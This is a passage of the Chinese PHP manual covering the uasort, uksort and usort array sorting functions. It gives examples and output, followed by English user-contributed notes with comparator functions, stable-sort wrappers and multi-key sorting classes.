uasort($array, 'cmp');
print_r($array);
?>

以上例程会输出：

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

参见

  • usort() - 使用用户自定义的比较函数对数组中的值进行排序
  • 数组排序函数对比

User Contributed Notes

bpolaszek at gmail dot com 19-Jun-2018 01:47
Keep in mind that PHP sorting functions are not reliable to handle "stable sorting", even since PHP7+.
It might work on small arrays, but not on "big" ones (100 items are enough for the stable sorting to fail).

<?php
$a = array_fill(0, 100, 'foo');
$b = $a;
var_dump($b === $a); // bool(true)

uasort($a, function () {
    return 0; // Consider all items are the same
});

var_dump($b === $a); // bool(false)
?>

To ensure $b === $a, use a 3rd-party stable sorting function:

http://php.net/manual/en/function.uasort.php#121283
alf at prisguide dot no 28-Jun-2017 11:44
User "php at clement dot hk" already provided a stable uasort function, but I find this wrapper much shorter and easier to understand:

https://github.com/vanderlee/PHP-stable-sort-functions/blob/master/classes/StableSort.php

function stable_uasort(array &$array, $value_compare_func) {
    $index = 0;
    foreach ($array as &$item) {
        $item = array($index++, $item);
    }
    $result = uasort($array, function($a, $b) use($value_compare_func) {
        $result = call_user_func($value_compare_func, $a[1], $b[1]);
        return $result == 0 ? $a[0] - $b[0] : $result;
    });
    foreach ($array as &$item) {
        $item = $item[1];
    }
    return $result;
}
ayaou dot mohammed at gmail dot com 15-Jun-2016 03:05
// Anonumous functions
uasort($collection, array($this, function($a, $b){
     //logic
}));
php at clement dot hk 04-Mar-2014 04:00
If you want to keep the order when two members compare as equal, use this.
<?php

function stable_uasort(&$array, $cmp_function) {
    if(count($array) < 2) {
        return;
    }
    $halfway = count($array) / 2;
    $array1 = array_slice($array, 0, $halfway, TRUE);
    $array2 = array_slice($array, $halfway, NULL, TRUE);

    stable_uasort($array1, $cmp_function);
    stable_uasort($array2, $cmp_function);
    if(call_user_func($cmp_function, end($array1), reset($array2)) < 1) {
        $array = $array1 + $array2;
        return;
    }
    $array = array();
    reset($array1);
    reset($array2);
    while(current($array1) && current($array2)) {
        if(call_user_func($cmp_function, current($array1), current($array2)) < 1) {
            $array[key($array1)] = current($array1);
            next($array1);
        } else {
            $array[key($array2)] = current($array2);
            next($array2);
        }
    }
    while(current($array1)) {
        $array[key($array1)] = current($array1);
        next($array1);
    }
    while(current($array2)) {
        $array[key($array2)] = current($array2);
        next($array2);
    }
    return;
}

function cmp($a, $b) {
    if($a['n'] == $b['n']) {
        return 0;
    }
    return ($a['n'] > $b['n']) ? -1 : 1;
}

$a = $b = array(
    'a' => array("l" => "A", "n" => 1),
    'b' => array("l" => "B", "n" => 2),
    'c' => array("l" => "C", "n" => 1),
    'd' => array("l" => "D", "n" => 2),
    'e' => array("l" => "E", "n" => 2),
);

uasort($a, 'cmp');
print_r($a);

stable_uasort($b, 'cmp');
print_r($b);
?>

returns

Array
(
    [e] => Array
        (
            [l] => E
            [n] => 2
        )

    [b] => Array
        (
            [l] => B
            [n] => 2
        )

    [d] => Array
        (
            [l] => D
            [n] => 2
        )

    [c] => Array
        (
            [l] => C
            [n] => 1
        )

    [a] => Array
        (
            [l] => A
            [n] => 1
        )

)
Array
(
    [b] => Array
        (
            [l] => B
            [n] => 2
        )

    [d] => Array
        (
            [l] => D
            [n] => 2
        )

    [e] => Array
        (
            [l] => E
            [n] => 2
        )

    [a] => Array
        (
            [l] => A
            [n] => 1
        )

    [c] => Array
        (
            [l] => C
            [n] => 1
        )
)

https://bugs.php.net/bug.php?id=53341
Anonymous 15-Aug-2013 10:35
//this fix the problem of if any of these sort functions evaluates two members as equal then the order is undefined (the sorting is not stable).

$pos=0;
foreach($values as $k => $v)
  $tosort[$k]=array($v,$pos++);
uasort($tosort,function($a, $b) {
  if($a[0] != $b[0])return ($a[0] < $b[0]) ? -1 : 1;
    return ($a[1] < $b[1]) ? -1 : 1;}
);
foreach($tosort as $k => $v)
  $values[$k]=$v[0];
iborodikhin at gmail dot com 22-Nov-2012 08:32
To shuffle assoc array preserving keys just do this:
<?php uasort(
    $array,
    function ($a, $b) {
        return mt_rand(0, 1) > 0 ? 1 : -1;
    }
); ?>
Said Dashuk 11-Oct-2011 10:33
My simple and effective solution for sort multi-dimensional array by any key:

<?php
function sort_by_key ($arr,$key) {
    global $key2sort;
    $key2sort = $key;
    uasort($arr, 'sbk');
    return ($arr);
}
function sbk ($a, $b) {global $key2sort; return (strcasecmp ($a[$key2sort],$b[$key2sort]));}
?>
yannick dot battail at gmail dot com 17-Nov-2010 06:37
An Example using anonymous function.
Anonymous functions make some time the code easier to understand.
<?php
$fruits = array('Orange9','Orange11','Orange10','Orange6','Orange15');
uasort ( $fruits , function ($a, $b) {
            return strnatcmp($a,$b); // or other function/code
        }
    );
print_r($fruits);
?>
returns
Array
(
    [3] => Orange6
    [0] => Orange9
    [2] => Orange10
    [1] => Orange11
    [4] => Orange15
)
magikMaker 19-Oct-2010 02:48
a quick reminder on the syntax if you want to use uasort in a Class or Object:

<?php

// procedural:
uasort($collection, 'my_sort_function');

// Object Oriented
uasort($collection, array($this, 'mySortMethod'));

// Objet Oriented with static method
uasort($collection, array('self', 'myStaticSortMethod'));

?>
phire_sk 05-Oct-2010 02:19
I tried using some of the previous built multisorts, but they weren't working as expected.

So, I made my own Class, and it seems to work wonderfully.

Here is the code:

<?php
/************************************
*    Allows sorting multi-dimensional
*    arrays by a specific key and in
*    asc or desc order
**/
class multiSort
{
    var $key;    //key in your array

    //runs the sort, and returns sorted array
    function run ($myarray, $key_to_sort, $type_of_sort = '')
    {
        $this->key = $key_to_sort;

        if ($type_of_sort == 'desc')
            uasort($myarray, array($this, 'myreverse_compare'));
        else
            uasort($myarray, array($this, 'mycompare'));

        return $myarray;
    }

    //for ascending order
    function mycompare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] < $y[$this->key] )
            return -1;
        else
            return 1;
    }

    //for descending order
    function myreverse_compare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] > $y[$this->key] )
            return -1;
        else
            return 1;
    }
}
?>
paul at webtop-designs dot com 30-Nov-2009 01:40
Just expanding on php arobase kochira period com's method:

If you are looking to sort a multi-D array by a specific column and have entries in both upper and lower case, simply drop the entries to lowercase before doing the strcmp.

<?php
$dirs = array(
  array('name' => 'First Folder', 'path' => 'sompath'),
  array('name' => 'second folder', 'path' => 'sompath2'),
  array('name' => 'Third Folder', 'path' => 'sompath3')
);

function so($a, $b) {
    return (strcmp (strtolower($a['name']), strtolower($b['name'])));
}
?>
php arobase kochira period com 08-Jun-2008 04:13
Difference between uasort() and usort(), the missing example ...

<?php
  $arr = array ( 10 => array('id' => 'dix',  'aa' => '1010'),
                100 => array('id' => 'cent', 'aa' => '100100'),
                  2 => array('id' => 'deux', 'aa' => '22'),
                  7 => array('id' => 'sept', 'aa' => '77'));

  // id sorting
  function so ($a, $b) { return (strcmp ($a['id'],$b['id']));    }
?>

*** uasort($arr, 'so') output:

<?php Array (
    [100] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [2] => Array
        (
            [id] => deux
            [aa] => 22
        )

    [10] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [7] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>

*** usort($arr, 'so') output:

<?php Array (
    [0] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [1] => Array
        (
            [id] => deux
            [aa] => 22
        )

    [2] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [3] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>
php at eden2 dot com 17-Jul-2003 04:36
Is it just me, or are the examples below misleading, and actually demonstrating situations that would be more appropriate for usort()?

After trying to make sense of the uasort() description, it sounds like it's more for sorting a 1D array like this:

"john" => "$23.12"
"tim" => "$6.50"
"bob" => "$18.54"

and getting back:

"tim" => "$6.50"
"bob" => "$18.54"
"john" => $23.12"

(assuming, of course, that your sort function is lopping off the $ and evaluating as a number -- which would complicate the use of asort() ;)
naholyr at yahoo dot fr 10-Jan-2003 09:35
You can sort a multidimensionnal array by any of its key with this function:

function multi_sort($array, $key)
{
  $cmp_val="((\$a['$key']>\$b['$key'])?1:
    ((\$a['$key']==\$b['$key'])?0:-1))";
  $cmp=create_function('$a, $b', "return $body;");
  uasort($array, $cmp);
  return $array;
}

example:
$myarray = array(
  array("name"=>"kernighan", "language"=>"c"),
  array("name"=>"lerdorf", "language"=>"php"),
  array("name"=>"Stroustrup", "language"=>"c++"),
  array("name"=>"Gosling", "language"=>"java")
);

multi_sort($myarray, "name") returns:
name=Gosling    language=java
name=Kernighan    language=c
name=Lerdorf    language=php
name=Stroustrup    language=c++
dholmes at jccc d0t net 09-Oct-2002 02:27
Here is a little sort function that actually uses a dynamic callback for usort to do it's thing.

It assumes your data is in the form of:
    $data = array(
            array('ID'=>'6','LAST'=>'Holmes','FIRST'=>'Dan'),
            array('ID'=>'1234','LAST'=>'Smith','FIRST'=>'Agent K'),
            array('ID'=>'2','LAST'=>'Smith','FIRST'=>'Agent J'),
            array('ID'=>'4','LAST'=>'Barney','FIRST'=>'Bob'));

Now, you want to sort on one or more cols, don't you?

masort($data, 'LAST,FIRST');
or
masort($data,array('FIRST','ID'));

Of course you could add a bunch to it (like numeric comparison if appropriate, desc/asc, etc) but it works for me.

function masort(&$data, $sortby){
    if(is_array($sortby)){
        $sortby = join(',',$sortby);
    }

    uasort($data,create_function('$a,$b','$skeys = split(\',\',\''.$sortby.'\');
        foreach($skeys as $key){
            if( ($c = strcasecmp($a[$key],$b[$key])) != 0 ){
                return($c);
            }
        }
        return($c); '));
}
Notice that I am splitting the string in the comparison function? While this is certainly slower, it was the only way I would find to "pass" and "array".  If anyone has a better way, please suggest.  Then inside, we (string) compare the values only moving to the next key if the values are the same...and so on, and so on.
stilgar_cpsNOSPAM at zipmail dot NOSPAMcom dot br 05-Sep-2001 02:30
Use example:

$array[0]['Fator1']=7;
$array[0]['Fator2']="Name";
$array[1]['Fator1']=5;
$array[1]['Fator2']="Name";
$array[2]['Fator1']=7;
$array[2]['Fator2']="NameDiferente";
.....

We want to order by Fator1, then Fator2, then:

function Compare($ar1, $ar2)
{
   if ($ar1['Fator1']<$ar2['Fator1'])
      return -1;
   else if ($ar1['Fator1']>$ar2['Fator1'])
      return 1;
   if ($ar1['Fator2']<$ar2['Fator2'])
      return -1;
   else if ($ar1['Fator2']>$ar2['Fator2'])
      return 1;
   return 0;
}

To sort now, we use:

uasort($array, 'Compare');


使用用户自定义的比较函数对数组中的键名进行排序

  • ? uasort
  • usort ?
  • PHP Manual
  • 数组 函数
  • 使用用户自定义的比较函数对数组中的键名进行排序

uksort

(PHP 4, PHP 5, PHP 7)

uksort — 使用用户自定义的比较函数对数组中的键名进行排序

说明

uksort ( array &$array , callable $key_compare_func ) : bool

uksort() 函数将使用用户提供的比较函数对数组中的键名进行排序。如果要排序的数组需要用一种不寻常的标准进行排序，那么应该使用此函数。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

输入的数组。

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 uksort() 例子

<?php
function cmp($a, $b)
{
    $a = preg_replace('@^(a|an|the) @', '', $a);
    $b = preg_replace('@^(a|an|the) @', '', $b);
    return strcasecmp($a, $b);
}

$a = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);

uksort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

以上例程会输出：

an apple: 3
a banana: 4
the Earth: 2
John: 1

参见

  • usort() - 使用用户自定义的比较函数对数组中的值进行排序
  • 数组排序函数对比

User Contributed Notes

DimeCadmium 22-Jun-2018 06:48
Don't use uksort($array, "strnatcasecmp"); ... use ksort($array, SORT_NATURAL|SORT_FLAG_CASE);
andi at example dot com 24-Feb-2016 10:58
I needed to be able to sort a string that contained numbers eg.

"Slot 1 name"
"Slot 2 name"
"Slot 10 name"

using a normal string compare the "Slot 10 name" would appear before "Slot 2 name" so I wrote little function that will compare a string taking numbers in to consideration. There may be a few edge cases that need to be taken in to consideration.

function strCmpWithNumbers( $a, $b) {
  // Split the string in to words.
  $a = explode(' ',$a);
  $b = explode(' ',$b);
  $loop = 0;
  do {
    // Get the first word from each item
    $ta = Utils::gvfa($a, $loop);
    $tb = Utils::gvfa($b, $loop);

    if (isset($ta)) {
      if (isset($tb)) {
        if (is_numeric($ta)) {
          if ($ta != $tb) {
            return $ta - $tb;
          }
        } else {
          $val = strcasecmp($ta, $tb);
          if ($val != 0) {
            return $val;
          }
        }
      } else {
        return 1; // a is set but b isn't
      }
    } else {
      return isset($b);
    }
    $loop +=1;
  } while (true);
}
Anonymous 05-Oct-2015 01:02
An associative array with known keys can be easily custom sorted using a switch statement in the callback:

NB ksort can be used beforehand to ensure expected results

ksort($array);

uksort($array, function ($a) {
    switch($a) {
        case 'pepperoni':
            return 0;
        case 'beef':
            return 1;
        case 'chicken':
            return 2;
        case 'ham':
            return 3;
        case 'vegetarian':
            return 4;
    }
});
PHPUser 06-Feb-2015 05:32
[Editor's note: the following comment may be factually incorrect]

uksort is only usable in the UK
<?php
if($country=="UK"){
  uksort();
}else{
  echo "You have to live in UK to use uksort().";
}
?>
ingo at example dot test 05-May-2014 01:30
sort with collation, to have umlauts correctly:

uksort($retval, array(Collator::create( 'de_DE' ), 'compare'));
mdsky at web dot de 23-May-2010 11:26
Case insensitive without own function:

uksort($array, "strnatcasecmp");
contacto at hardcode dot com dot ar 29-Jul-2009 06:56
need a case insensitive sort by key function? i did and couldn find it, so:

<?php
function insensitive_uksort($a,$b) {
    return strtolower($a)<strtolower($b);
}
uksort($arr, "insensitive_uksort");
?>
brian dot short at gmail dot com 07-Jul-2009 07:58
If you need to periodically sort by grades (A, A+, D-, etc.), here is a compare function that compares strings by the case-insensitive method, unless it finds a grade, in which case it correctly sorts by putting "plus" grades first, unmarked grades second, and "minus" grades last.

<?php
function cmp($a, $b)
{
   $a = preg_replace('@^(a|an|the) @', '', $a);
   $b = preg_replace('@^(a|an|the) @', '', $b);

   //special code for grades
   if (strpos( $a, "+") !== false || strpos( $b, "+") !== false  ||
       strpos( $a, "-") !== false || strpos( $b, "-") !== false ){

        $substrA = substr($a, 0, 1);
        $substrB = substr($b, 0, 1);

        $modifierA = (strlen($a) == 2) ? substr($a, 1, 1) : "";
        $modifierB = (strlen($b) == 2) ? substr($b, 1, 1) : "";

        if ($substrA == $substrB){
            //figure out plusses and minuses.
            if ($modifierA == "+"){
                return -1;
            } else if ($modifierB == "+"){
                return 1;
            }

            if ($modifierA == "-"){
                return 1;
            } else if ($modifierB == '-'){
                return -1;
            }
        } else {
            return strcasecmp($a, $b);
        }

    }
   return strcasecmp($a, $b);
}

$grades = array(
                 "C+" => 13    ,
                "C" => 10     ,
                "D+" => 8     ,
                "B+" => 7     ,
                "C-" => 6     ,
                "A-" => 5     ,
                "F" => 5      ,
                "B" => 4      ,
                "B-" => 4     ,
                "D" => 3      ,
                "D-" => 3     ,
                "A+" => 1
    );

uksort($grades, "cmp");
?>

result:  Array
(
    [A+] => 1
    [A-] => 5
    [B+] => 7
    [B] => 4
    [B-] => 4
    [C+] => 13
    [C] => 10
    [C-] => 6
    [D+] => 8
    [D] => 3
    [D-] => 3
    [F] => 5
)
Jimomighty 19-Mar-2005 07:30
...

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return ($a < $b) ? -1 : 1;
}

function uksort_tree ( &$array )
{
    // [PHP5] foreach ( $array as &$value )
    foreach ( $array as $key => $value )
    {
       if ( is_array ( $value ) )
       {
            // [PHP5] uksort_tree ( $value );
           uksort_tree ( $array[$key] );
       }
    }

    uksort( $array, "cmp" );
}

uksort_tree( $myEntryArray );

...
aleczapka at gmx dot net 22-Dec-2004 04:35
One remark regarding array_sorter class.
It won't work correctly with eg. dates from mysql like 20041206105350, cause you can't convert such number into integer. To fix it remove intval() from the code. If the variable is a number it will work without converting this to int anyways. Here is the fix.

<?php
....
if ($a == $b)
    return 0;
if ($this->sasc)
    return ($a > $b) ? 1 : -1;
else
    return ($a > $b) ? -1 : 1;
...
?>
jg at delegation dot ca 17-Dec-2004 07:41
To sort dates with uksort:

function datediff($a, $b) {

$a = date('U',$a);
$b = date('U',$b);

if ($a == $b) $r = 0;
else $r = ($a > $b) ? 1: -1;

return $r;
}
aleczapka at gmx dot net 06-Dec-2004 04:27
Here is a small and very fast object to handle sorting of multidimentional arrays by a key.
<?php
/**
* Handles multidimentional array sorting by a key (not recursive)
*
* @author Oliwier Ptak <aleczapka at gmx dot net>
*/
class array_sorter
{
    var $skey = false;
    var $sarray = false;
    var $sasc = true;

    /**
    * Constructor
    *
    * @access public
    * @param mixed $array array to sort
    * @param string $key array key to sort by
    * @param boolean $asc sort order (ascending or descending)
    */
    function array_sorter(&$array, $key, $asc=true)
    {
        $this->sarray = $array;
        $this->skey = $key;
        $this->sasc = $asc;
    }

    /**
    * Sort method
    *
    * @access public
    * @param boolean $remap if true reindex the array to rewrite indexes
    */
    function sortit($remap=true)
    {
        $array = &$this->sarray;
        uksort($array, array($this, "_as_cmp"));
        if ($remap)
        {
            $tmp = array();
            while (list($id, $data) = each($array))
                $tmp[] = $data;
            return $tmp;
        }
        return $array;
    }

    /**
    * Custom sort function
    *
    * @access private
    * @param mixed $a an array entry
    * @param mixed $b an array entry
    */
    function _as_cmp($a, $b)
    {
        //since uksort will pass here only indexes get real values from our array
        if (!is_array($a) && !is_array($b))
        {
            $a = $this->sarray[$a][$this->skey];
            $b = $this->sarray[$b][$this->skey];
        }

        //if string - use string comparision
        if (!ctype_digit($a) && !ctype_digit($b))
        {
            if ($this->sasc)
                return strcasecmp($a, $b);
            else
                return strcasecmp($b, $a);
        }
        else
        {
            if (intval($a) == intval($b))
                return 0;

            if ($this->sasc)
                return (intval($a) > intval($b)) ? -1 : 1;
            else
                return (intval($a) > intval($b)) ? 1 : -1;
        }
    }

}//end of class
?>

Sample $input_array:

Array
(
    [0] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

Example of usage:
<?php
    function multi_sort(&$array, $key, $asc=true)
    {
        $sorter = new array_sorter($array, $key, $asc);
        return $sorter->sortit();
    }
    //sort by parent_id in descending order
    $my_array = multi_sort($input_array, "parent_id", false);
?>

The result array will be:
Array
(

    [0] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )
fabriceb at gmx dot net 08-Jul-2004 06:26
(about sorting an array of objects by their properties in a class - inspired by webmaster at zeroweb dot org at usort function)
I'm using classes as an abstraction for querying records in a database and use arrays of objects to store records that have an 1 to n relationship. E.g. a class "family" has family members stored as an array of objects. Each of those objects prepresents a record in a database related to the family (by it's familyId).

To identify members, I'm using their memberId as the key of the array e.g. $family->members[$memberId].
To sort the family members AFTER fetching them with the database query, you can use the functions _objSort and sortMembers which will sort the "members" array by key using it's properties (for space reasons I didn't include the methods used to open the records):
<?php
class familyMember
{
    var $memberId;
    var $familyId;
    var $firstName;
    var $age;
    var $hairColor;
// ...
}

class family
{
    var $familyId;
    var $name;
    var $members = array(); // array of familyMember objects
    var $sortFields = array();
    var $sortDirections = array();
    // ...
    function _objSort(&$a, &$b, $i = 0)
    {
        $field        = $this->sortFields[$i];
        $direction    = $this->sortDirections[$i];

        $diff = strnatcmp($this->details[$a]->$field, $this->details[$b]->$field) * $direction;
        if ($diff == 0 && isset($this->sortFields[++$i]))
        {
            $diff = $this->_objSort($a, $b, $i);
        }

        return $diff;
    }

    function sortMembers($sortFields)
    {
        $i = 0;
        foreach ($sortFields as $field => $direction)
        {
            $this->sortFields[$i] = $field;
            $direction == "DESC" ? $this->sortDirections[$i] = -1 : $this->sortDirections[$i] = 1;
            $i++;
        }

        uksort($this->details, array($this, "_objSort"));

        $this->sortFields = array();
        $this->sortDirections = array();
    }
}
// open a family
$familyId = 5;
$family = new family($familyId);
$family->open(); // this will also fetch all members

// sort members by 3 fields
$family->sortMembers(array("firstName" => "ASC", "age" => "DESC", "hairColor" => "ASC"));
// output all family members
foreach ($family->members as $member)
{
    echo $member->firstName." - ".$member->age." - ".$member->hairColor."<br />";
}
?>

Note that this might not be the fastest thing on earth and it hasn't been tested very much yet but I hope it's useful for someone.
webmaster at kik-it at N0SP4M dot com 09-Feb-2004 10:03
The code below allows you to sort an array_A following array_B keys order, original keys and values remain associated.

<?

//main function
Function SortArrayAKeysLikeArrayBKeys(&$TheArrayToSort){
   uksort($TheArrayToSort,"SortArrayAKeysLikeArrayBKeys_cmp");
}

//the custom compare function
Function SortArrayAKeysLikeArrayBKeys_cmp($a,$b){
  global $TheArrayOrder;
  $PosA=KeyPosInArray($a,$TheArrayOrder);
  $PosB=KeyPosInArray($b,$TheArrayOrder);
  if ($PosA==$PosB){return 0;}else{return ($PosA > $PosB ? 1 : -1);}
}

//where is my key in my array
Function KeyPosInArray($Key,$Array){
   $i=0;
   $Pos=99999999;
   if($Array){
      foreach($Array as $K => $V){
         $i++;
         if($K==$Key){
            $Pos=$i;
            break;
         }
      }
   }
   return $Pos;
}

//the array you want to sort
$AnyArrayToSort['age']='19';
$AnyArrayToSort['ville']='rennes';
$AnyArrayToSort['website']='kik-it.com';
$AnyArrayToSort['region']='bretagne';
$AnyArrayToSort['code_postal']='35200';
$AnyArrayToSort['Nom']='Fred';

//the array with the correct keys/values order
$TheArrayOrder['Nom']='Whatever';
$TheArrayOrder['age']='Anything';
$TheArrayOrder['region']='What u want';
$TheArrayOrder['ville']='Something';
$TheArrayOrder['code_postal']='Nothing';

//before sort
print_r($AnyArrayToSort);
echo "<br>";
//we sort
SortArrayAKeysLikeArrayBKeys($AnyArrayToSort);
echo "<br>";
//after sort
print_r($AnyArrayToSort);
?>

Will print :

Array ( [age] => 19 [ville] => rennes [website] => kik-it.com [region] => bretagne [code_postal] => 35200 [Nom] => Fred )

Array ( [Nom] => Fred [age] => 19 [region] => bretagne [ville] => rennes [code_postal] => 35200 [website] => kik-it.com )

The keys not listed in the $TheArrayOrder will appear at the end of your sorted array (only if Key Pos < 99999999 ;o)
guss at typo dot co dot il 07-Dec-2003 12:18
Regarding the recursive sorting function above:
Genrally speaking, any recursion can be reimplemented using simple iteration. in the specific case, using recursion to compare strings has a huge performance impact while a simple loop would suffice and be faster and more simple.
Recursion is only good if it simplifies your code or your understanding of the concept. the previous example does neither, especially as it does a lot of repetitive things in each iteration, such as asigning the character order constant, rebuilding it into an array and such

For example, the string comparison could be written as such :
function str_compare($a,$b) {
    $order="aA??bBcC&#269;&#268;..."; // longer normally & without that html entities
    $default = strlen($a) - strlen($b);
    $minlen = strlen($a) < strlen($b) ? strlen($a) : strlen($b);
    for ($i = 0; $i < $minlen; $i++) {
        $pos_a=strpos($order,$a[$i]);
        $pos_b=strpos($order,$b[$i]);
        if ($pos_a != $pos_b)
            return $pos_a - $pos_b;
    }
    return $default;
}

Which is much simpler and faster.
Note that the above function will break for characters that are not listed in $order. it should be failry trivial to fix it.
ignatius dot reilly at free dot fr 13-Nov-2003 10:59
To use a more complicated comparison function, one can use a callback to a method of an object instance.
For example the following will take an array $arr whose keys are the same as those of $reference, and reorder $arr so that the keys appear in the same order as in $reference.

class kcmp {
    var $reference ;
    function kcmp( $reference ) {
       $this->reference = $reference ;
    }
    function kcompare( $a, $b ) {
       $keys = array_keys( $this->reference ) ;
       $position_a = array_search( $a, $keys ) ;
       $position_b = array_search( $b, $keys ) ;
       return  $position_a < $position_b ? -1 : 1 ;
    }
}

$reference = array(
    "k2" => "a2",
    "k3" => "a3",
    "k1" => "a1"
) ;
$arr = array(
    "k1" => "b1",
    "k2" => "b2",
    "k3" => "b3"
) ;
print_r( $arr ) ;
uksort( $arr, array( new kcmp( $reference ), "kcompare" ) ) ;
print_r( $arr ) ;


使用用户自定义的比较函数对数组中的值进行排序

  • ? uksort
  • 类/对象 ?
  • PHP Manual
  • 数组 函数
  • 使用用户自定义的比较函数对数组中的值进行排序

usort

(PHP 4, PHP 5, PHP 7)

usort — 使用用户自定义的比较函数对数组中的值进行排序

说明

usort ( array &$array , callable $value_compare_func ) : bool

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序，那么应该使用此函数。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

参数

array

输入的数组

cmp_function

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int
Caution

Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 usort() 例子

<?php
function cmp($a, $b)
{
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

以上例程会输出：

0: 1
1: 2
2: 3
3: 5
4: 6

Note:

很明显在这个小例子中用 sort() 函数更合适。

Example #2 使用多维数组的 usort() 例子

<?php
function cmp($a, $b)
{
    return strcmp($a["fruit"], $b["fruit"]);
}

$fruits[0]["fruit"] = "lemons";
$fruits[1]["fruit"] = "apples";
$fruits[2]["fruit"] = "grapes";

usort($fruits, "cmp");

while (list($key, $value) = each($fruits)) {
    echo "$fruits[$key]: " . $value["fruit"] . "\n";
}
?>

当排序多维数组时，$a 和 $b 包含到数组第一个索引的引用。

以上例程会输出：

$fruits[0]: apples
$fruits[1]: grapes
$fruits[2]: lemons

Example #3 usort() example using a member function of an object

<?php
class TestObj {
    var $name;

    function TestObj($name)
    {
        $this->name = $name;
    }

    /* This is the static comparing function: */
    static function cmp_obj($a, $b)
    {
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0;
        }
        return ($al > $bl) ? +1 : -1;
    }
}

$a[] = new TestObj("c");
$a[] = new TestObj("b");
$a[] = new TestObj("d");

usort($a, array("TestObj", "cmp_obj"));

foreach ($a as $item) {
    echo $item->name . "\n";
}
?>

以上例程会输出：

b
c
d

Example #4 usort() example using a closure to sort a multi-dimensional array

<?php
$array[0] = array('key_a' => 'z', 'key_b' => 'c');
$array[1] = array('key_a' => 'x', 'key_b' => 'b');
$array[2] = array('key_a' => 'y', 'key_b' => 'a');

function build_sorter($key) {
    return function ($a, $b) use ($key) {
        return strnatcmp($a[$key], $b[$key]);
    };
}

usort($array, build_sorter('key_b'));

foreach ($array as $item) {
    echo $item['key_a'] . ', ' . $item['key_b'] . "\n";
}
?>

以上例程会输出：

y, a
x, b
z, c

参见

  • uasort() - 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
  • 数组排序函数对比

User Contributed Notes

gus dot antoniassi at gmail dot com 10-Jun-2019 01:23
This is a simple way to sort based on a "priority list":

<?php

$order = [1,3,0,2];
$arr =   [
    [ 'id' => 0 ],
    [ 'id' => 1 ],
    [ 'id' => 2 ],
    [ 'id' => 3 ],
];

uasort(
    $arr,
    function ($a, $b) use ($order) {
        return array_search($a['id'], $order) <=> array_search($b['id'], $order);
    }
);

print_r($arr);

?>

This will return:

Array
(
    [1] => Array
        (
            [id] => 1
        )

    [3] => Array
        (
            [id] => 3
        )

    [0] => Array
        (
            [id] => 0
        )

    [2] => Array
        (
            [id] => 2
        )

)

Note that if you have a value in $arr that is not on the $order list, you will need additional checks since the array_search function returns FALSE for undefined indexes.
chris at candm dot org dot uk 19-Jan-2019 01:15
In case anyone is interested, comparative timings over 100000000 runs
Based on comparing integers (500 and 501)
Spaceship:4
()?: operator:10
Subtraction:2

Based on comparing floats (500.1 and 501.3) (caveats noted)
Spaceship:5
()?: operator:9
Subtraction:3

Based on comparing strings ("five" and "four")
Spaceship:7
()?: operator:17
(Subtraction obviously not available)

Note: a dummy run was done with an empty loop and the elapsed time for this was subtracted from each of the above times so that they reflect ONLY the time to do the comparisons. As for significance. unless you are doing very large numbers of comparisons where spaceships are the order of the day, the difference is insignificant.
Patrick 10-Sep-2018 10:20
Note that

<?php
  $array = ['valA', 'valB', 'valC'];
  $x = 1; /* this means valA > valC (try -1 for valA < valC) */

  usort($array, function($val1, $val2) use ($x) {
     if ($val1 == 'valA' && $val2 == 'valB') return (0);
     if ($val1 == 'valA' && $val2 == 'valC') return ($x);
     if ($val1 == 'valB' && $val2 == 'valC') return (0);
  });
  print_r($array); // result: [valA, valB, valC]
?>

will lead to the same (potentially unintended) result ([valA, valB, valC]), regardless of whether $x=1 or $x=-1.
